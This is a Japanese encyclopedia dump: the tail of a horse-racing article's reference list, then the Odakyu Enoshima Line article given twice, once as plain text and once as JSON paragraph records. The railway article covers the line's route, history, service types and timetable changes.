* 『[[#中央競馬全重賞成績集|中央競馬全重賞成績集【GI編】]]』第1回 - 第55回
* JRA年度別全成績
** (2023年){{Cite web|和書|format=PDF|url=http://jra.jp/datafile/seiseki/report/2023/2023-3nakayama8.pdf#page=6|title=第3回 中山競馬 第8日|publisher=日本中央競馬会|page=6|accessdate=2023年4月17日}}(索引番号:08095)
** (2022年){{Cite web|和書|format=PDF|url=http://jra.jp/datafile/seiseki/report/2022/2022-3nakayama8.pdf#page=6|title=第3回 中山競馬 第8日|publisher=日本中央競馬会|page=6|accessdate=2022年4月18日}}(索引番号:08095)
** (2021年){{Cite web|和書|format=PDF|url=http://jra.jp/datafile/seiseki/report/2021/2021-3nakayama8.pdf#page=6|title=第3回 中山競馬 第8日|publisher=日本中央競馬会|page=6|accessdate=2021年4月20日}}(索引番号:08095)
** (2020年){{Cite web|和書|format=PDF|url=http://jra.jp/datafile/seiseki/report/2020/2020-3nakayama8.pdf#page=6|title=第3回 中山競馬 第8日|publisher=日本中央競馬会|page=6|accessdate=2020年4月20日}}(索引番号:08095)
** (2019年){{Cite web|和書|format=PDF|url=http://jra.jp/datafile/seiseki/report/2019/2019-3nakayama8.pdf#page=6|title=第3回 中山競馬 第8日|publisher=日本中央競馬会|page=6|accessdate=2020年4月20日}}(索引番号:09095)
** (2018年){{Cite web|和書|format=PDF|url=http://jra.jp/datafile/seiseki/report/2018/2018-3nakayama8.pdf#page=6|title=第3回 中山競馬 第8日|publisher=日本中央競馬会|page=6|accessdate=2018年4月19日}}(索引番号:09095)
** (2017年){{Cite web|和書|format=PDF|url=http://jra.jp/datafile/seiseki/report/2017/2017-3nakayama8.pdf#page=6 |title=第3回 中山競馬 第8日|publisher=日本中央競馬会|page=6|accessdate=2017年4月17日}}(索引番号:09095)
** (2016年){{Cite web|和書|format=PDF|url=http://jra.jp/datafile/seiseki/report/2016/2016-3nakayama8.pdf#page=6 |title=第3回 中山競馬 第8日|publisher=日本中央競馬会|page=6|accessdate=2016年4月18日}}(索引番号:09095)
** (2015年){{Cite web|和書|format=PDF|url=http://jra.jp/datafile/seiseki/report/2015/2015-3nakayama8.pdf#page=6 |title=第3回 中山競馬 第8日|publisher=日本中央競馬会|page=6|accessdate=2016年4月5日}}(索引番号:09095)
** (2014年){{Cite web|和書|format=PDF|url=http://jra.jp/datafile/seiseki/report/2014/2014-3nakayama8.pdf#page=6 |title=第3回 中山競馬 第8日|publisher=日本中央競馬会|page=6|accessdate=2016年4月5日|ref=JRA年度別全成績2014}}(索引番号:09095)
** (2013年){{Cite web|和書|format=PDF|url=http://jra.jp/datafile/seiseki/report/2013/2013-3nakayama8.pdf#page=6 |title=第3回 中山競馬 第8日|publisher=日本中央競馬会|page=6|accessdate=2016年4月5日}}(索引番号:09095)
** (2012年){{Cite web|和書|format=PDF|url=http://jra.jp/datafile/seiseki/report/2012/2012-3nakayama8.pdf#page=6 |title=第3回 中山競馬 第8日|publisher=日本中央競馬会|page=6|accessdate=2016年4月5日}}(索引番号:08095)
** (2011年){{Cite web|和書|format=PDF|url=http://jra.jp/datafile/seiseki/report/2011/2011-2tokyo2.pdf#page=6 |title=第2回 東京競馬 第2日|publisher=日本中央競馬会|page=6|accessdate=2016年4月5日|ref=JRA年度別全成績2011}}(索引番号:11023)
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* 『優駿』1990年4月号、77頁 発行:日本中央競馬会 (1939年 - 1989年)
* 『優駿』1996年5月号、13頁 発行:日本中央競馬会 (1996年)
* 『日本の競馬 総合ハンドブック2013』 51頁、52頁 発行: 一般社団法人中央競馬振興会 (1939年 - 2012年、馬主名義除く)
* netkeiba.comより(最新閲覧日 2023年4月17日)
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== 外部リンク ==
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6,777 | 小田急江ノ島線 | 江ノ島線(えのしません)は、神奈川県相模原市南区の相模大野駅から神奈川県藤沢市の藤沢駅を経由して、同市の片瀬江ノ島駅を結ぶ小田急電鉄の鉄道路線である。駅ナンバリングで使われる路線記号はOE。線形の関係上、JR東日本の東海道線と接続する藤沢駅でスイッチバックを行う。なお、実際の小田原線からの分岐は相模大野駅から0.2 km小田原寄りの相模大野分岐点である。
相模原市南部の交通・商業拠点である相模大野から、大和市を経由して湘南エリアの中核市である藤沢市に至る。相模野台地を南北に貫き、直線が多く、曲線は少なめだが細かいアップダウンはそれなりにある。江ノ島線の東側は少し離れたところを境川の中流から下流が、西側は大和市から南で引地川が並行しているが、ともに渡らない。藤沢の先は方向転換して平地を進み、海に面した境川の河口に行き着いて、終点の片瀬江ノ島となる。
東京方面に向かう通勤通学路線であるとともに、湘南を代表する観光地である江の島エリアへのアクセスを担う。また、神奈川県を南北に縦断することから、東急田園都市線・相鉄本線・相鉄いずみ野線・横浜市営地下鉄ブルーライン・東海道線といった東京・横浜方面から放射状に延びる多数の鉄道路線との乗り換えが可能である。藤沢駅では小田急グループの江ノ島電鉄(江ノ電)と連絡している。新宿駅 - 藤沢駅間の移動においては途中経路は大きく異なるものの、JR東日本の湘南新宿ラインと競合関係にある。
特急ロマンスカーや快速急行、急行といった優等種別が小田原線新宿駅・町田駅方面と直通で運転されているが、各駅停車は相模大野駅発着の線内折り返し列車がほとんどである。各駅停車はすべて6両編成、快速急行と急行は10両編成で運転される。2022年3月12日のダイヤ改正で、片瀬江ノ島駅発着の小田原線直通列車は早朝の上り急行新宿行1本と特急ロマンスカーを除き廃止となり、快速急行と急行は原則として藤沢駅発着となった。また、各駅停車も早朝・深夜の一部の列車を除き、スイッチバックが必要な藤沢駅で系統分断された。
通過線を含む2面6線の相模大野駅を発車するとすぐに小田原線から分岐し右手に大野総合車両所を見て南東を向き、間もなく東林間駅へ。さらに林間都市として開発された住宅街を直線で抜け、大和市に入り右へカーブし南を向くと東急田園都市線と接続する2面2線の中央林間駅に到着する。
中央林間駅を発車すると住宅街を走りながら再び南東を向き、2面2線の南林間駅へ。さらに間もなく鶴間駅に到着。鶴間駅を発車すると住宅街を直線で抜け、国道246号(大和厚木バイパス)を跨ぎさらに東名高速道路をくぐると大和市の中心街へ入る。高架を上ると地下を走る相鉄本線と交差し2面4線の大和駅に到着する。
大和駅を発車するとしばらく市街地を高架で走り右へカーブし南を向く。この先は国道467号と平行し桜ヶ丘駅へ。この先も国道467号と平行し、東海道新幹線と交差すると高座渋谷駅に到着。発車するとしばらくして藤沢市に入る。2面4線の長後駅は藤沢市北部だけでなく綾瀬市南東部の住民の足も担っている。長後駅を発車するとしばらくして南東を向く。昭和40年代から宅地開発の進んだ湘南台地区に入ると間もなく相鉄いずみ野線・横浜市営地下鉄ブルーラインと接続する2面2線の湘南台駅に到着する。
湘南台駅を発車するとしばらく住宅街を走り、六会日大前駅へ。発車して右手に日本大学湘南キャンパス・日本大学藤沢高等学校が見えるが、この先は住宅と畑の混在する区間を走り、急勾配を駆け下りる。さらに勾配を上ると善行駅に到着する。その直後に江ノ島線唯一のトンネルを抜け、しばらくして左へカーブし国道1号をくぐると藤沢本町駅へ。ここから先は藤沢市の市街地を走る。日本精工の工場が右手に見え、左へ急カーブし東を向くと東海道本線をオーバークロスし、坂を下ると右手から片瀬江ノ島方面からの線路が合流、東海道本線・江ノ島電鉄線と接続する2面3線の藤沢駅に到着する。
この区間も相模大野 - 藤沢間と同じく住宅地が広がっている。かつて急行停車駅だった本鵠沼・鵠沼海岸の2駅は相模大野 - 藤沢間の急行通過駅と同じくホーム有効長が最大6両分しかない。
スイッチバックし藤沢駅を発車すると相模大野方面の線路を右上に見ながら左にカーブして南西を向く。この先の地域は鵠沼と呼ばれ、江戸時代は天領(幕府直轄領)、明治以降は別荘地であったが、関東大震災以降政治家や実業家、上級軍人が転居してくるようになり首都圏有数の高級住宅街へと成長した。住宅街を直線で抜けると本鵠沼駅に到着。発車するとこの先で左へ大きくカーブし南東を向く。鵠沼海岸駅を発車すると車内からは見えないが完全に相模湾・国道134号と並走する。片瀬地区に入り、正面に竜宮城を模した建物(片瀬江ノ島駅舎)が見えると2面3線の片瀬江ノ島駅に到着する。駅舎を出ると境川、境川にかかる弁天橋を渡り右へ曲がると関東随一の景勝地・江の島である。
当初、小田原線からは座間駅(現在の相武台前駅)で分岐する予定だったが、当時の駅付近には農業地が多かったため、当時山林が主だった相模大野からの分岐となった。
藤沢 - 江ノ島間については、免許を申請した段階で、既に江ノ島電気鉄道(現・江ノ島電鉄)の藤沢 - 江ノ島 - 小町(鎌倉)間の路線(現・江ノ島電鉄線)や大船 - 江ノ島 - 茅ヶ崎間の建設予定線があった。
特に後者とは片瀬江ノ島駅付近で交差するため、当初は江ノ島電気鉄道の予定線が開業した場合には撤去するという条件の仮設線として建設された。当時としては巨額の18,000円を投じて建設された片瀬江ノ島駅の竜宮城を模した初代駅舎も、この計画の関係上、名目上は本設ではなく仮設駅舎として建設された。
しかし、着工した段階で後者の免許の期限(1930年1月)が迫っており、また江ノ島電気鉄道には着工に入るだけの資金もなくその失効が確実視されていたため、実際には小田急電鉄は本設物として同区間を建設し、予定通り免許が失効して本設物扱いに変更され、同時に片瀬江ノ島駅の仮設駅舎は本設駅舎に変更された。また、大野方面から藤沢市街地へは用地買収の手間が掛からない西側から入ることにしたが、ここからまっすぐ江ノ島へ進むと江ノ電と完全に並行することになり、経路重複を避けるよう鉄道省から指導されていたため、藤沢駅でスイッチバックを行って西側を進むルートをとった。
1984年、桜ヶ丘駅 - 高座渋谷駅間において、江ノ島線で初めてロングレールが敷設されたのを皮切りに、1997年までに江ノ島線全線でロングレール化が完了した。
江ノ島線では特急(ロマンスカー)、快速急行、急行(朝夕のみの運転)、各駅停車の4つの種別の列車が運行されている。
日中の1時間毎の運行本数をまとめると、以下のとおりになる(2022年3月12日改正時点)。
小田原線新宿駅 - 藤沢駅・片瀬江ノ島駅間に朝方から日中の上下と夕方の上りに「えのしま」が運転されている。2004年12月11日の快速急行新設に伴うダイヤ改正以降、平日日中はほとんど運転がなく、土休日はおおむね2時間に1本程度の運転である。夕方の下りに「ホームウェイ」が運転されている。なお、2016年3月26日のダイヤ改正より、江ノ島線内での50000形「VSE」の定期運用が始まり、ロマンスカー全形式が江ノ島線に乗り入れることとなった。
また、2018年3月のダイヤ改正より東京メトロ千代田線と直通運転を行い、北千住駅 - 片瀬江ノ島駅間を運行する「メトロえのしま」が土休日に下り2本、上り1本設定されている。車両は地下鉄直通が可能な60000形「MSE」が使用される。
2004年12月11日に登場した種別である。小田原線内・江ノ島線内ともに急行より停車駅を減らし、速達化を図っている。日中は1時間に3本の運転で10両編成で運転されている。江ノ島線内では過去に運行されていた湘南急行と停車駅が同一となっている。
江ノ島線の快速急行は、平日・土休日共に全ての列車が新宿駅 - 藤沢駅間の運転である。さらに快速急行の大部分は藤沢で片瀬江ノ島発着の各駅停車と接続する。
2018年3月16日までは片瀬江ノ島駅発着の列車は平日に下り2本・上り1本、土休日に上下1本のみ運転されていたが、2018年3月17日のダイヤ改正で運行形態が変更され、土休日の江ノ島線直通列車の本数が83本に増発され、うち18本を除き片瀬江ノ島発に変更された。この改正で平日の片瀬江ノ島駅発着は廃止され、停車駅に登戸駅が追加された。しかし、2022年3月12日のダイヤ改正で片瀬江ノ島駅発着は全廃となり、土休日も含めて全列車が藤沢駅折り返しとなった。
1959年4月に登場した種別である。朝夕に新宿駅・町田駅・相模大野駅 - 藤沢駅間、新宿駅 - 大和駅間に10両編成で運転されている(新宿駅 - 大和駅間は平日上り早朝のみ1本で、相模大野駅から快速急行として運転)。土休日夜間の上り急行の一部は、大和駅で特急に追い越される。
2016年3月25日までは終日運転されていたが、2016年3月26日のダイヤ改正で、日中の快速急行が1時間あたり20分間隔3本の運転となるのに伴い、日中は新宿駅直通・線内運転ともに廃止となった。また、同ダイヤ改正で、本鵠沼駅及び鵠沼海岸駅に停車する急行は平日上り1本下り2本、土休日は上り4本下り2本に削減された。さらに2018年3月17日のダイヤ改正で、平日朝上りに相模大野駅で種別変更し、小田原線内は快速急行として運転する大和駅・藤沢駅・片瀬江ノ島駅発の列車が設定された。この改正で片瀬江ノ島発着は途中で種別変更する列車のみとなり、新宿駅まで全区間を通して急行で運転する片瀬江ノ島発着の列車は全て廃止された。2022年3月12日のダイヤ改正では、土休日に限り全区間を通して急行運転を行う片瀬江ノ島発の列車が設定された。
2018年3月16日まで片瀬江ノ島駅発着の急行のうち、6両編成の列車は本鵠沼駅と鵠沼海岸駅にも停車していたが(列車番号は2500番台)、2018年3月17日のダイヤ改正より全ての急行列車が10両化されたことに伴い、この2駅は通過となった。
大半が相模大野駅 - 藤沢駅間、藤沢駅 - 片瀬江ノ島駅間の折り返し運転だが、一部に町田駅発着の列車が存在する。大和駅・長後駅・藤沢駅では特急ロマンスカー・快速急行・急行などの待ち合わせや通過待ちを行う列車がある。平日の日中における町田駅・相模大野駅 - 藤沢駅間運行の列車は、大和駅で快速急行との待ち合わせ(一部長後駅での通過待ち)をする列車と、途中駅での待ち合わせのない列車が交互に運転される。
急行停車駅以外の駅のホーム有効長が6両分のため、すべての列車が6両編成である(2008年3月のダイヤ改正で4両編成の運転はなくなった)。2008年3月14日までは相模大野駅で種別変更し、小田原線内は急行となる列車もあったが、2008年3月15日のダイヤ改正で全て廃止された。
2008年3月15日のダイヤ改正より下り終電および上り初電として、大和駅発着の列車が運転されている。
2016年3月26日ダイヤ改正で、平日朝の新宿駅発片瀬江ノ島駅行きと成城学園前駅発片瀬江ノ島駅行きの2本を除き、小田原線の玉川学園前以東を発着とする各駅停車は廃止となった。この改正で平日日中は全列車江ノ島線内運転、土休日はおよそ20分おきに町田駅発着(時間帯により相模大野発着)も運転されるようになった。さらに2018年3月17日のダイヤ改正で前記の平日朝下り片瀬江ノ島駅行き2本がともに廃止され、小田原線の玉川学園前以東発の各駅停車は消滅した。また、朝ラッシュ時の本数が毎時8本から毎時6本へと減便された。
2018年3月17日より、平日朝1本のみ片瀬江ノ島始発の新宿行が復活したが、2019年3月16日ダイヤ改正で廃止され、新宿発着の列車は廃止された。
2022年3月12日のダイヤ改正で、原則として藤沢駅で運転系統が分割され、全線通しの運転は早朝・深夜の一部列車のみとなった。
め組エクスプレス
江ノ島・鎌倉エクスプレス
湘南マリンエクスプレス
湘南国際マラソン号
湘南マリン号
メトロニューイヤー号
秋のレジャートレイン 江の島号
江の島マリン号
箱根・湘南あじさい号・湘南・鎌倉あじさい号
箱根駅伝応援号
直通は、江ノ島線開業時(1929年4月1日)から1945年6月まで存在した種別である。 この時期の「各駅停車」は新宿駅 - 稲田登戸駅(現・向ヶ丘遊園駅)間のみで運行されており、稲田登戸駅より先へむかう列車は小田原線も江ノ島線もすべて「直通」だった。なお小田原線の「直通」が稲田登戸駅以遠各駅停車だったのに対し、江ノ島線「直通」は玉川学園前駅、新原町田駅(現・町田駅)からの各駅に停車していた。
準急は、1946年10月1日から2002年3月22日まで存在した種別である。晩年は定期列車での設定はなく、年末年始の終夜臨上りでのみ運行されていた。
通勤急行は、1955年3月25日から1971年4月まで存在した種別である。
1957年 - 1960年代に存在した種別で、現在の「快速急行」とは別物である。 鵠沼海岸・江ノ島への海水浴客輸送用の臨時列車で、夏季のみ運行された。
湘南急行は、2002年3月23日から2004年12月10日まで存在した種別である。江ノ島線内では急行より停車駅を減らし、速達化を図っていた。新宿駅 - 藤沢駅間で、10両編成で運行された。また、2003年3月28日までは土休日の一部列車が片瀬江ノ島駅まで乗り入れていた。2004年12月11日のダイヤ改正で、快速急行に置き換えられた。
2000形は全編成が8両編成のため、江ノ島線では運用されない。
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"text": "特急ロマンスカーや快速急行、急行といった優等種別が小田原線新宿駅・町田駅方面と直通で運転されているが、各駅停車は相模大野駅発着の線内折り返し列車がほとんどである。各駅停車はすべて6両編成、快速急行と急行は10両編成で運転される。2022年3月12日のダイヤ改正で、片瀬江ノ島駅発着の小田原線直通列車は早朝の上り急行新宿行1本と特急ロマンスカーを除き廃止となり、快速急行と急行は原則として藤沢駅発着となった。また、各駅停車も早朝・深夜の一部の列車を除き、スイッチバックが必要な藤沢駅で系統分断された。",
"title": "概要"
},
{
"paragraph_id": 4,
"tag": "p",
"text": "通過線を含む2面6線の相模大野駅を発車するとすぐに小田原線から分岐し右手に大野総合車両所を見て南東を向き、間もなく東林間駅へ。さらに林間都市として開発された住宅街を直線で抜け、大和市に入り右へカーブし南を向くと東急田園都市線と接続する2面2線の中央林間駅に到着する。",
"title": "路線概要"
},
{
"paragraph_id": 5,
"tag": "p",
"text": "中央林間駅を発車すると住宅街を走りながら再び南東を向き、2面2線の南林間駅へ。さらに間もなく鶴間駅に到着。鶴間駅を発車すると住宅街を直線で抜け、国道246号(大和厚木バイパス)を跨ぎさらに東名高速道路をくぐると大和市の中心街へ入る。高架を上ると地下を走る相鉄本線と交差し2面4線の大和駅に到着する。",
"title": "路線概要"
},
{
"paragraph_id": 6,
"tag": "p",
"text": "大和駅を発車するとしばらく市街地を高架で走り右へカーブし南を向く。この先は国道467号と平行し桜ヶ丘駅へ。この先も国道467号と平行し、東海道新幹線と交差すると高座渋谷駅に到着。発車するとしばらくして藤沢市に入る。2面4線の長後駅は藤沢市北部だけでなく綾瀬市南東部の住民の足も担っている。長後駅を発車するとしばらくして南東を向く。昭和40年代から宅地開発の進んだ湘南台地区に入ると間もなく相鉄いずみ野線・横浜市営地下鉄ブルーラインと接続する2面2線の湘南台駅に到着する。",
"title": "路線概要"
},
{
"paragraph_id": 7,
"tag": "p",
"text": "湘南台駅を発車するとしばらく住宅街を走り、六会日大前駅へ。発車して右手に日本大学湘南キャンパス・日本大学藤沢高等学校が見えるが、この先は住宅と畑の混在する区間を走り、急勾配を駆け下りる。さらに勾配を上ると善行駅に到着する。その直後に江ノ島線唯一のトンネルを抜け、しばらくして左へカーブし国道1号をくぐると藤沢本町駅へ。ここから先は藤沢市の市街地を走る。日本精工の工場が右手に見え、左へ急カーブし東を向くと東海道本線をオーバークロスし、坂を下ると右手から片瀬江ノ島方面からの線路が合流、東海道本線・江ノ島電鉄線と接続する2面3線の藤沢駅に到着する。",
"title": "路線概要"
},
{
"paragraph_id": 8,
"tag": "p",
"text": "この区間も相模大野 - 藤沢間と同じく住宅地が広がっている。かつて急行停車駅だった本鵠沼・鵠沼海岸の2駅は相模大野 - 藤沢間の急行通過駅と同じくホーム有効長が最大6両分しかない。",
"title": "路線概要"
},
{
"paragraph_id": 9,
"tag": "p",
"text": "スイッチバックし藤沢駅を発車すると相模大野方面の線路を右上に見ながら左にカーブして南西を向く。この先の地域は鵠沼と呼ばれ、江戸時代は天領(幕府直轄領)、明治以降は別荘地であったが、関東大震災以降政治家や実業家、上級軍人が転居してくるようになり首都圏有数の高級住宅街へと成長した。住宅街を直線で抜けると本鵠沼駅に到着。発車するとこの先で左へ大きくカーブし南東を向く。鵠沼海岸駅を発車すると車内からは見えないが完全に相模湾・国道134号と並走する。片瀬地区に入り、正面に竜宮城を模した建物(片瀬江ノ島駅舎)が見えると2面3線の片瀬江ノ島駅に到着する。駅舎を出ると境川、境川にかかる弁天橋を渡り右へ曲がると関東随一の景勝地・江の島である。",
"title": "路線概要"
},
{
"paragraph_id": 10,
"tag": "p",
"text": "当初、小田原線からは座間駅(現在の相武台前駅)で分岐する予定だったが、当時の駅付近には農業地が多かったため、当時山林が主だった相模大野からの分岐となった。",
"title": "歴史"
},
{
"paragraph_id": 11,
"tag": "p",
"text": "藤沢 - 江ノ島間については、免許を申請した段階で、既に江ノ島電気鉄道(現・江ノ島電鉄)の藤沢 - 江ノ島 - 小町(鎌倉)間の路線(現・江ノ島電鉄線)や大船 - 江ノ島 - 茅ヶ崎間の建設予定線があった。",
"title": "歴史"
},
{
"paragraph_id": 12,
"tag": "p",
"text": "特に後者とは片瀬江ノ島駅付近で交差するため、当初は江ノ島電気鉄道の予定線が開業した場合には撤去するという条件の仮設線として建設された。当時としては巨額の18,000円を投じて建設された片瀬江ノ島駅の竜宮城を模した初代駅舎も、この計画の関係上、名目上は本設ではなく仮設駅舎として建設された。",
"title": "歴史"
},
{
"paragraph_id": 13,
"tag": "p",
"text": "しかし、着工した段階で後者の免許の期限(1930年1月)が迫っており、また江ノ島電気鉄道には着工に入るだけの資金もなくその失効が確実視されていたため、実際には小田急電鉄は本設物として同区間を建設し、予定通り免許が失効して本設物扱いに変更され、同時に片瀬江ノ島駅の仮設駅舎は本設駅舎に変更された。また、大野方面から藤沢市街地へは用地買収の手間が掛からない西側から入ることにしたが、ここからまっすぐ江ノ島へ進むと江ノ電と完全に並行することになり、経路重複を避けるよう鉄道省から指導されていたため、藤沢駅でスイッチバックを行って西側を進むルートをとった。",
"title": "歴史"
},
{
"paragraph_id": 14,
"tag": "p",
"text": "1984年、桜ヶ丘駅 - 高座渋谷駅間において、江ノ島線で初めてロングレールが敷設されたのを皮切りに、1997年までに江ノ島線全線でロングレール化が完了した。",
"title": "歴史"
},
{
"paragraph_id": 15,
"tag": "p",
"text": "江ノ島線では特急(ロマンスカー)、快速急行、急行(朝夕のみの運転)、各駅停車の4つの種別の列車が運行されている。",
"title": "運行形態"
},
{
"paragraph_id": 16,
"tag": "p",
"text": "日中の1時間毎の運行本数をまとめると、以下のとおりになる(2022年3月12日改正時点)。",
"title": "運行形態"
},
{
"paragraph_id": 17,
"tag": "p",
"text": "小田原線新宿駅 - 藤沢駅・片瀬江ノ島駅間に朝方から日中の上下と夕方の上りに「えのしま」が運転されている。2004年12月11日の快速急行新設に伴うダイヤ改正以降、平日日中はほとんど運転がなく、土休日はおおむね2時間に1本程度の運転である。夕方の下りに「ホームウェイ」が運転されている。なお、2016年3月26日のダイヤ改正より、江ノ島線内での50000形「VSE」の定期運用が始まり、ロマンスカー全形式が江ノ島線に乗り入れることとなった。",
"title": "運行形態"
},
{
"paragraph_id": 18,
"tag": "p",
"text": "また、2018年3月のダイヤ改正より東京メトロ千代田線と直通運転を行い、北千住駅 - 片瀬江ノ島駅間を運行する「メトロえのしま」が土休日に下り2本、上り1本設定されている。車両は地下鉄直通が可能な60000形「MSE」が使用される。",
"title": "運行形態"
},
{
"paragraph_id": 19,
"tag": "p",
"text": "2004年12月11日に登場した種別である。小田原線内・江ノ島線内ともに急行より停車駅を減らし、速達化を図っている。日中は1時間に3本の運転で10両編成で運転されている。江ノ島線内では過去に運行されていた湘南急行と停車駅が同一となっている。",
"title": "運行形態"
},
{
"paragraph_id": 20,
"tag": "p",
"text": "江ノ島線の快速急行は、平日・土休日共に全ての列車が新宿駅 - 藤沢駅間の運転である。さらに快速急行の大部分は藤沢で片瀬江ノ島発着の各駅停車と接続する。",
"title": "運行形態"
},
{
"paragraph_id": 21,
"tag": "p",
"text": "2018年3月16日までは片瀬江ノ島駅発着の列車は平日に下り2本・上り1本、土休日に上下1本のみ運転されていたが、2018年3月17日のダイヤ改正で運行形態が変更され、土休日の江ノ島線直通列車の本数が83本に増発され、うち18本を除き片瀬江ノ島発に変更された。この改正で平日の片瀬江ノ島駅発着は廃止され、停車駅に登戸駅が追加された。しかし、2022年3月12日のダイヤ改正で片瀬江ノ島駅発着は全廃となり、土休日も含めて全列車が藤沢駅折り返しとなった。",
"title": "運行形態"
},
{
"paragraph_id": 22,
"tag": "p",
"text": "1959年4月に登場した種別である。朝夕に新宿駅・町田駅・相模大野駅 - 藤沢駅間、新宿駅 - 大和駅間に10両編成で運転されている(新宿駅 - 大和駅間は平日上り早朝のみ1本で、相模大野駅から快速急行として運転)。土休日夜間の上り急行の一部は、大和駅で特急に追い越される。",
"title": "運行形態"
},
{
"paragraph_id": 23,
"tag": "p",
"text": "2016年3月25日までは終日運転されていたが、2016年3月26日のダイヤ改正で、日中の快速急行が1時間あたり20分間隔3本の運転となるのに伴い、日中は新宿駅直通・線内運転ともに廃止となった。また、同ダイヤ改正で、本鵠沼駅及び鵠沼海岸駅に停車する急行は平日上り1本下り2本、土休日は上り4本下り2本に削減された。さらに2018年3月17日のダイヤ改正で、平日朝上りに相模大野駅で種別変更し、小田原線内は快速急行として運転する大和駅・藤沢駅・片瀬江ノ島駅発の列車が設定された。この改正で片瀬江ノ島発着は途中で種別変更する列車のみとなり、新宿駅まで全区間を通して急行で運転する片瀬江ノ島発着の列車は全て廃止された。2022年3月12日のダイヤ改正では、土休日に限り全区間を通して急行運転を行う片瀬江ノ島発の列車が設定された。",
"title": "運行形態"
},
{
"paragraph_id": 24,
"tag": "p",
"text": "2018年3月16日まで片瀬江ノ島駅発着の急行のうち、6両編成の列車は本鵠沼駅と鵠沼海岸駅にも停車していたが(列車番号は2500番台)、2018年3月17日のダイヤ改正より全ての急行列車が10両化されたことに伴い、この2駅は通過となった。",
"title": "運行形態"
},
{
"paragraph_id": 25,
"tag": "p",
"text": "大半が相模大野駅 - 藤沢駅間、藤沢駅 - 片瀬江ノ島駅間の折り返し運転だが、一部に町田駅発着の列車が存在する。大和駅・長後駅・藤沢駅では特急ロマンスカー・快速急行・急行などの待ち合わせや通過待ちを行う列車がある。平日の日中における町田駅・相模大野駅 - 藤沢駅間運行の列車は、大和駅で快速急行との待ち合わせ(一部長後駅での通過待ち)をする列車と、途中駅での待ち合わせのない列車が交互に運転される。",
"title": "運行形態"
},
{
"paragraph_id": 26,
"tag": "p",
"text": "急行停車駅以外の駅のホーム有効長が6両分のため、すべての列車が6両編成である(2008年3月のダイヤ改正で4両編成の運転はなくなった)。2008年3月14日までは相模大野駅で種別変更し、小田原線内は急行となる列車もあったが、2008年3月15日のダイヤ改正で全て廃止された。",
"title": "運行形態"
},
{
"paragraph_id": 27,
"tag": "p",
"text": "2008年3月15日のダイヤ改正より下り終電および上り初電として、大和駅発着の列車が運転されている。",
"title": "運行形態"
},
{
"paragraph_id": 28,
"tag": "p",
"text": "2016年3月26日ダイヤ改正で、平日朝の新宿駅発片瀬江ノ島駅行きと成城学園前駅発片瀬江ノ島駅行きの2本を除き、小田原線の玉川学園前以東を発着とする各駅停車は廃止となった。この改正で平日日中は全列車江ノ島線内運転、土休日はおよそ20分おきに町田駅発着(時間帯により相模大野発着)も運転されるようになった。さらに2018年3月17日のダイヤ改正で前記の平日朝下り片瀬江ノ島駅行き2本がともに廃止され、小田原線の玉川学園前以東発の各駅停車は消滅した。また、朝ラッシュ時の本数が毎時8本から毎時6本へと減便された。",
"title": "運行形態"
},
{
"paragraph_id": 29,
"tag": "p",
"text": "2018年3月17日より、平日朝1本のみ片瀬江ノ島始発の新宿行が復活したが、2019年3月16日ダイヤ改正で廃止され、新宿発着の列車は廃止された。",
"title": "運行形態"
},
{
"paragraph_id": 30,
"tag": "p",
"text": "2022年3月12日のダイヤ改正で、原則として藤沢駅で運転系統が分割され、全線通しの運転は早朝・深夜の一部列車のみとなった。",
"title": "運行形態"
},
{
"paragraph_id": 31,
"tag": "p",
"text": "め組エクスプレス",
"title": "運行形態"
},
{
"paragraph_id": 32,
"tag": "p",
"text": "江ノ島・鎌倉エクスプレス",
"title": "運行形態"
},
{
"paragraph_id": 33,
"tag": "p",
"text": "湘南マリンエクスプレス",
"title": "運行形態"
},
{
"paragraph_id": 34,
"tag": "p",
"text": "湘南国際マラソン号",
"title": "運行形態"
},
{
"paragraph_id": 35,
"tag": "p",
"text": "湘南マリン号",
"title": "運行形態"
},
{
"paragraph_id": 36,
"tag": "p",
"text": "メトロニューイヤー号",
"title": "運行形態"
},
{
"paragraph_id": 37,
"tag": "p",
"text": "秋のレジャートレイン 江の島号",
"title": "運行形態"
},
{
"paragraph_id": 38,
"tag": "p",
"text": "江の島マリン号",
"title": "運行形態"
},
{
"paragraph_id": 39,
"tag": "p",
"text": "箱根・湘南あじさい号・湘南・鎌倉あじさい号",
"title": "運行形態"
},
{
"paragraph_id": 40,
"tag": "p",
"text": "箱根駅伝応援号",
"title": "運行形態"
},
{
"paragraph_id": 41,
"tag": "p",
"text": "直通は、江ノ島線開業時(1929年4月1日)から1945年6月まで存在した種別である。 この時期の「各駅停車」は新宿駅 - 稲田登戸駅(現・向ヶ丘遊園駅)間のみで運行されており、稲田登戸駅より先へむかう列車は小田原線も江ノ島線もすべて「直通」だった。なお小田原線の「直通」が稲田登戸駅以遠各駅停車だったのに対し、江ノ島線「直通」は玉川学園前駅、新原町田駅(現・町田駅)からの各駅に停車していた。",
"title": "運行形態"
},
{
"paragraph_id": 42,
"tag": "p",
"text": "準急は、1946年10月1日から2002年3月22日まで存在した種別である。晩年は定期列車での設定はなく、年末年始の終夜臨上りでのみ運行されていた。",
"title": "運行形態"
},
{
"paragraph_id": 43,
"tag": "p",
"text": "通勤急行は、1955年3月25日から1971年4月まで存在した種別である。",
"title": "運行形態"
},
{
"paragraph_id": 44,
"tag": "p",
"text": "1957年 - 1960年代に存在した種別で、現在の「快速急行」とは別物である。 鵠沼海岸・江ノ島への海水浴客輸送用の臨時列車で、夏季のみ運行された。",
"title": "運行形態"
},
{
"paragraph_id": 45,
"tag": "p",
"text": "湘南急行は、2002年3月23日から2004年12月10日まで存在した種別である。江ノ島線内では急行より停車駅を減らし、速達化を図っていた。新宿駅 - 藤沢駅間で、10両編成で運行された。また、2003年3月28日までは土休日の一部列車が片瀬江ノ島駅まで乗り入れていた。2004年12月11日のダイヤ改正で、快速急行に置き換えられた。",
"title": "運行形態"
},
{
"paragraph_id": 46,
"tag": "p",
"text": "2000形は全編成が8両編成のため、江ノ島線では運用されない。",
"title": "車両"
},
{
"paragraph_id": 47,
"tag": "p",
"text": "女性専用車が、平日朝7:30 - 9:30に新宿駅に到着する上り急行(相模大野から快速急行)の最後部1号車に設定されている。",
"title": "女性専用車"
}
]
